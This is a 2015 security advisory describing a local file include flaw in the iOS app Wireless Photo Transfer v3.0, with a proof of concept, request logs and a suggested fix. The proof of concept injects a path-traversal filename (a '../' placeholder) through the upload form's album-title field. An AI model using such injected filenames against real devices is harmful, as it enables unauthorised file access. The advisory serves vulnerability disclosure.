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Document Title:
===============
Wireless Photo Transfer v3.0 iOS - File Include Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1492


Release Date:
=============
2015-05-12


Vulnerability Laboratory ID (VL-ID):
====================================
1492


Common Vulnerability Scoring System:
====================================
6.5


Product & Service Introduction:
===============================
Transfer your photo without usb. The best wireless photo transfer app on the App Store.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/wireless-photo-transfer/id900376882 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a local file include vulnerability in the official wireless photo transfer mobile v3.0 iOS application.


Vulnerability Disclosure Timeline:
==================================
2015-05-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Yan Xing
Product: Wireless Photo Transfer - iOS Mobile Web Application 3.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official wireless photo transfer mobile v3.0 iOS application.
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific 
path commands to compromise the mobile web-application.

The web vulnerability is located in the `album-title` value of the `file upload` module. Remote attackers are able to inject 
own files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. 
The local file/path include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker 
is able to inject the lfi payload by usage of the wifi interface or local file sync function. Attackers are also able to exploit 
the filename issue in combination with persistent injected script code to execute different malicious attack requests. The attack 
vector is located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.5. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Submit (Upload)

Vulnerable Parameter(s):
				[+] filename (album-title)

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:80/)


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: #1 Index File Dir Listing (album-title)

<div class="album-folder">
<div class="album-number">2 items</div>
<div class="album-title">../[LOCAL FILE INCLUDE VULNERABILITY VIA ALBUMNAME!]<a></a></div><a>
</a><a href="/group/2/0/100"><img class="album-overlay" alt="" src="/cvab-overlay.png" height="160" width="140">
<img class="album-thumb" alt="" src="/api/group/poster/2" height="90" width="90"></a>
<div class="album-folder-img"><img alt="" src="/cvab.png" height="160" width="140"></div>
</div>


PoC: #2 Topic Album (Album Title - album_info_intro_driver)

<div class="top-section">
            <div id="intro">
                <div class="divider">
                    <h1 class="strong" id="album_info_intro_driver">../[LOCAL FILE INCLUDE VULNERABILITY VIA ALBUMNAME!]<a>(0-2)</a></h1><a>
                    <div class="pagination"></div>
                </a></div><a>
            </a></div><a>
            
            </a><div class="centered"><a>
                </a><a class="button-2 ui-glossy rad-l" href="javascript:location.reload(true)">Refresh</a>
                <a class="button-2 ui-glossy rad-r" href="javascript:downloadAllSelection()">Download ZIP</a>
            </div>
        </div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:80/upload.html 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[2] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:80]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:80/groups]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------8397114799830
Content-Disposition: form-data; name="upload1"; filename="../[LOCAL FILE INCLUDE VULNERABILITY VIA ALBUMNAME!]pentesting.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:80/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[210] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:80]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[210]
      Connection[keep-alive]
      Date[Sat, 09 May 2015 15:21:30 GMT]



Reference(s):
http://localhost:80/groups
http://localhost:80/upload.html


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable album-title value. Encode also the local app input field for sync. 
Restrict the filename input and disallow special chars to prevent further arbitrary file upload attacks. Filter and encode also the vulnerable output 
values in the mobile wifi interface (file dir) application.


Security Risk:
==============
The security risk of the local file include web vulnerability in the wifi network interface album-title value is estimated as high. (CVSS 6.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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